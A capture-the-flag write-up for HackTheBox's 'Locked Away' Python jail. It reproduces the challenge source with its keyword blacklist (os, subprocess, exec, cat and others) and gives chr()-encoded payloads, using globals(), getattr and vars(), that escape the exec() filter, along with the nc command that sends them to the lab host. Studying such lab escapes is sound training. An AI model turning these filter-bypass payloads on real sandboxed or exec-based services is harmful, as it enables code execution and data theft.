Locked Away - HackTheBox

Description

"A test! Getting onto the team is one thing, but you must prove your skills to be chosen to represent the best of the best. They have given you the classic - a restricted environment, devoid of functionality, and it is up to you to see what you can do. Can you break open the chest? Do you have what it takes to bring humanity from the brink?"

Connection: nc 94.237.61.249 54149

Analysis

The challenge provides a Python jail where user input is executed via exec(), but with a blacklist filter.

Source Code (main.py)

banner = r'''
.____                  __              .___    _____                        
|    |    ____   ____ |  | __ ____   __| _/   /  _  \__  _  _______  ___.__.
|    |   /  _ \_/ ___\|  |/ // __ \ / __ |   /  /_\  \ \/ \/ /\__  \<   |  |
|    |__(  <_> )  \___|    <\  ___// /_/ |  /    |    \     /  / __ \\___  |
|_______ \____/ \___  >__|_ \\___  >____ |  \____|__  /\/\_/  (____  / ____|
        \/          \/     \/    \/     \/          \/             \/\/     
'''


def open_chest():
    with open('flag.txt', 'r') as f:
        print(f.read())


blacklist = [
    'import', 'os', 'sys', 'breakpoint',
    'flag', 'txt', 'read', 'eval', 'exec',
    'dir', 'print', 'subprocess', '[', ']',
    'echo', 'cat', '>', '<', '"', '\'', 'open'
]

print(banner)

while True:
    command = input('The chest lies waiting... ')

    if any(b in command for b in blacklist):
        print('Invalid command!')
        continue

    try:
        exec(command)
    except Exception:
        print('You have been locked away...')
        exit(1337)

Blacklist Analysis

Category	Blocked Items
Keywords	import, os, sys, breakpoint, eval, exec, dir, print, subprocess
File-related	flag, txt, read, open
Dangerous chars	[, ], >, <, ", '
Shell commands	echo, cat

Goal

Call the open_chest() function which reads and prints the flag.

Problem

The function name open_chest contains open which is blacklisted!

Solution

Bypass Technique

1. Avoid brackets []: Use globals().get() instead of globals()['key']
2. Avoid blacklisted word "open": Build the string using chr() function

Character Codes for "open_chest"

Char	Code
o	111
p	112
e	101
n	110
_	95
c	99
h	104
e	101
s	115
t	116

Final Payload

globals().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

How it works:

• chr(111)+chr(112)+chr(101)+chr(110) = "open"
• chr(95) = "_"
• chr(99)+chr(104)+chr(101)+chr(115)+chr(116) = "chest"
• globals().get("open_chest") returns the function object
• () calls the function

Execution

printf 'globals().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()\n' | nc 94.237.61.249 54149

Alternative Approaches

Using getattr()

getattr(getattr(__builtins__, chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115))(), chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

Using vars()

vars().get(chr(111)+chr(112)+chr(101)+chr(110)+chr(95)+chr(99)+chr(104)+chr(101)+chr(115)+chr(116))()

References

• Python Jail Escape Techniques
• chr() function documentation